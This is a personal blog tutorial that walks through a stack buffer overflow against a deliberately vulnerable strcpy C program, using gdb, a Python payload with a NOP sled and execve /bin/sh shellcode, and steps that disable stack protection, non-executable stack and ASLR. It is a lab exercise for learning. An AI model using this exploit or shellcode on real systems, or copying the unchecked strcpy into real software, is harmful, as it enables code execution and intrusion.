"Simple" Stack Based Buffer Overflow
image of computer screen with code
10 minutes
Created 2020-03-29

"Simple" Stack Based Buffer Overflow

This post follows along with a LiveOverflow video where he creates a buffer overflow exploit. I wrote this blog post to not only learn about buffer overflows, but to practice writing about technical topics as well.

Summary

The main goal is to overwrite the return address on the stack frame with a new address that points to shellcode.

tl;dr Compiler and Environment Problems

  1. Disable stack protection - gcc flag -fno-stack-protector - Some compilers add stack protection to protect against buffer overflows - related error
Bash
*** stack smashing detected ***: <unknown> terminated
Program received signal SIGABRT, Aborted.
0xf7fd5079 in __kernel_vsyscall ()
  1. Enable executable memory on stack - gcc flag -z execstack - Some compilers mark stack memory as non-executable, so shellcode cannot be executed from inside the stack - related error
Bash
Program received signal SIGEGV, Segmentation fault.
0xfffffd29e in ??()
  1. Disable ASLR - echo 0 | sudo tee /proc/sys/kernel/randomize_va_space - Many Linux distros have ASLR enabled by default which randomizes memory address where programs load their stacks, heaps, vars, etc.

Tools Used

  1. Ubuntu 18.04.1 LTS VM was used
  2. gdb
  3. gcc
  4. Python 2.7

Vulnerable C code

Here's the C code to exploit

C
#include <stdio.h>
#include <string.h>

int func(char buff[]){
    char buffer[64];
    printf("Address: %p\n", (void*)&buffer);
    strcpy(buffer, buff);
    printf("Buffer contents copied");
}

int main(int argc, char **argv){
    if (argc < 2) {
        printf("Not enough args\n");
    } else {
        func(argv[1]);
    }
}

The strcpy() function is what makes this program vulnerable. strcpy() writes contents to memory until a null terminator \0 reached. The length of the buffer is not checked and this can lead to writing past the buffer length and into program space.

The fun begins

The above code is in file hello.c

Bash
# compile the program w/ debugging symbols and make output executable
gcc -m32 -g -o hello hello.c

chmod 755 hello

To run the program

Image1

Background on "ret" in assembly

It's really important to under 'ret' in assembly in order to understand how a stack based buffer overflow works. (Source: https://c9x.me/x86/html/file_module_x86_id_280.html)

There are two key pointers in a CPU: the stack pointer (esp) and the instruction pointer (eip). The eip points to the next instruction to execute, and controlling it can redirect program flow. The ret instruction moves a value from esp to eip. In a stack-based buffer overflow, overwriting esp can cause ret to load a controlled memory address into eip, redirecting execution.

Image2

In a buffer overflow, overwriting the return address in esp with a different address before ret executes allows shellcode execution. In the image above, the goal is to overwrite 0xffffd2dc with a chosen address.

Image3

Source: Wikipedia

In the example above, Char c[12] is the buffer. Using functions like strcpy(), content can overflow the buffer and overwrite critical stack data, such as the return address in the third image.

The payload in python

Python
# Python script used to generate the input variable for `./hello`
padding = "AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTTUUUUVVVVWWWWXXXXYYYYZZZZ"
print padding

Print 4 of each letter (32 bits total) to match the width of a memory address, making it easier to track which letters are loaded into specific addresses.

Bash
python2 payload.py

Image5

Finding the return address in the current stack frame

Use gdb to set a breakpoint on the ret instruction in func() and check if the alphabet string overwrites the return address.

Bash
# Launch gdb
gdb ./hello

In gdb, add the output of the Python script as an argument to the program

Bash
run $(python2 payload.py)

Image6

Bash
*** stack smashing detected ***: <unknown> terminated
Program received signal SIGABRT, Aborted.
0xf7fd5079 in __kernel_vsyscall ()

So what is this about? The alphabet string managed to overflow the buffer, but it also triggered the first buffer overflow protection mechanism.

The gcc compiler on Ubuntu 18.04.1 adds a stack protector mechanism to detect buffer overflows

For learning purposes, recompile the program to disable the stack protector.

Bash
gcc -m32 -g -o hello hello.c -fno-stack-protector
Bash
# Rerun gdb and python again
gdb ./hello
run $(python2 payload.py)

Image7

Stack smashing wasn't detected this time.

Moving on, switch gdb to the Intel assembly syntax

Bash
set disassembly-flavor intel

Disassemble the func() function

Bash
disassemble func

Image8

gdb managed to resolve references to strcpy, printf, and puts. This line is the important one for the buffer overflow.

Bash
0x565555ce <+81>:         ret

Note: addresses may be different than this one.

Add a breakpoint on it.

Bash
# In gdb, set a breakpoint and run the program again
# If gdb says it's already being debugged, press y
b *0x565555ce
r $(python2 payload.py)

Image9

Image10

Bash
# Examine 20 words as hexadecimal starting at the stack pointer
x/20wx $esp

Image11

With the breakpoint on ret at 0x565555ce <+81>, inspecting esp reveals the return address.

Bash
info registers

Image12

Look at the esp register. Does it look familiar?

Image13

The esp register is pointing at 0xffffd26c. Since the next instruction is ret, that means 0xffffd26c is the piece of memory that stores the return address.

Continue past the breakpoint using c in gdb.

Image14

It looks like it tried to access memory address 0x54545454? But why?

The ret instruction loads the return address from esp into eip to redirect program flow. Inspecting esp (x/20wx $esp in gdb) showed 0x54545454, the overwritten return address. When execution continued, ret loaded 0x54545454 into eip, causing an error due to invalid memory.

Image15

A hex-to-ASCII converter shows 0x54545454 is TTTT, meaning the padding string TTTT overwrote the return address. Replacing TTTT with an address pointing to executable code enables full exploitation of the buffer overflow. The target address will be discussed next.

Hardcoding TTTT with an address is unreliable, as memory addresses can vary due to factors like different environment variables on a machine.

To get around this, selecting an offset of a memory address and using a NOP sled technique and help get shellcode executed. Using this technique allows more flexibility and less percision than it would if a hardcoded memory address was used.

To read up on NOP sleds here's a stack overflow post

For example, setting the return address to 0xffffd26c+50 means return to the address 50 bytes above 0xffffd26c. The offset can be tweaked per machine to 100 or 1000 depending on the reliablity of the exploit.

Crafting the new python payload

Python
# New exploit code
import struct
padding = "AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSS"
return_address = struct.pack("I", 0xffffd26c+50)
nops = "\x90"*90000
payload = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"
print padding+return_address+nops+payload

Remove every beyond SSSS since the return address is confirmed to be where TTTT is written.

Python
padding = "AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSS"

Import struct and use it to format the return address + offset of 50.

Python
import struct
return_address = struct.pack("I", 0xffffd26c+50)

The hex code for a NOP is x90. Create about 90k NOPs with the idea the return address will point to one of these.

Python
nops = "\x90"*90000

Borrowing shellcode from here to execute `/bin/sh`

Python
payload = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"
Python
# Put all the memory together
# Padding to fill up the return address
# The "new" return address
# NOPs to cushion the landing
# Payload to execute /bin/sh
print padding+return_address+nops+payload

Running the Exploit

Running this script replaces the return address with 0xffffd26c+50 (e.g., 0xffffd28c). At 0xffffd28c, the NOP sled will guide execution into the shellcode.

Bash
# Run gdb and place a breakpoint on `ret` again, then run the payload
gdb ./hello
b *0x565555ce
r $(python2 payload.py)

On the breakpoint, view the memory in esp.

Bash
x/30wx $esp

Image17

All of the NOPs are filling the memory space. If the return address is correctly pointed to, the exploit succeeds. Inspecting the memory where the stack pointer is located shows that the address in esp has changed.

Image18

The return address 0xffffd26e+50 equates to address 0xffffd28e.

The payload hasn't executed yet, since the breakpoint was hit, but examining the memory, it appears that the shellcode will be hit if the offset pointed to a memory address within the NOP sled.

Press c to continue in gdb

Bash
(gdb) c
Continuing.

Program received signal SIGEGV, Segmentation fault.
0xfffffd29e in ??()

A segmentation fault indicates the NOPs are not being hit, at least initially that's what seems to be indicated.

Examining the second failure

Examining esp though indicates the NOPs are being hit though.

Bash
x/40wx $esp

Image19

Note: In between the previous three screenshots the payload was updated slightly, so instead of the address equaling `0xffffd28e`, it now equals `0xffffd29e`. This doesn't affect the outcome though.

The selected return address+offset should be working, performing no operations until reaching the shellcode.

After much digging, here's the reason for the segmentation fault.

When the program was compiled, the compiler marked stack memory as non-executable memory, so if it tries to execute CPU instructions from inside the stack, the program seg faults. This is the second protection against stack based buffer overflows.

To turn this feature off, add the -z execstack arguments in gcc then recompile the program again.

Bash
gcc -m32 -g -o hello hello.c -fno-stack-protector -z execstack

Re-run the ./hello in gdb again with the payload. This time, no breakpoint is needed.

Bash
gdb ./hello
r $(python2 payload.py)

Image21

The shellcode was hit and it launched /bin/sh in the gdb instance. This can be verified with whoami.

Voila, code execution!

Running the exploit outside of gdb

Nextly, the code should be run outside of a debugging environment.

Bash
# In a new terminal
./hello $(python2 payload.py)
Bash
Segmentation fault (core dumped)

New question: why does this not work when running outside of gdb?

Bash
# checking the kernel logs
tail -n 4 /var/log/kern.log

Image23

According to the logs, eip is using the expected return address. But the stack pointer changing in between runs.

The stack pointer not consistent like it was in gdb where the stack pointer was fairly predictable.

Image24

The issue that is causing this is ASLR - Address Space Layout Randomization.

ASLR is an operating system feature that randomizes the layout of memory in a program. The randomized layed makes it difficult to predict where the stack pointer will be, thus making it difficult exploit reliably.

Bash
# Turn off ASLR
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space

Image25

After disabling ASLR in the operating system, the explout now works reliably and a shell is executed.

Thanks for reading.

-DJ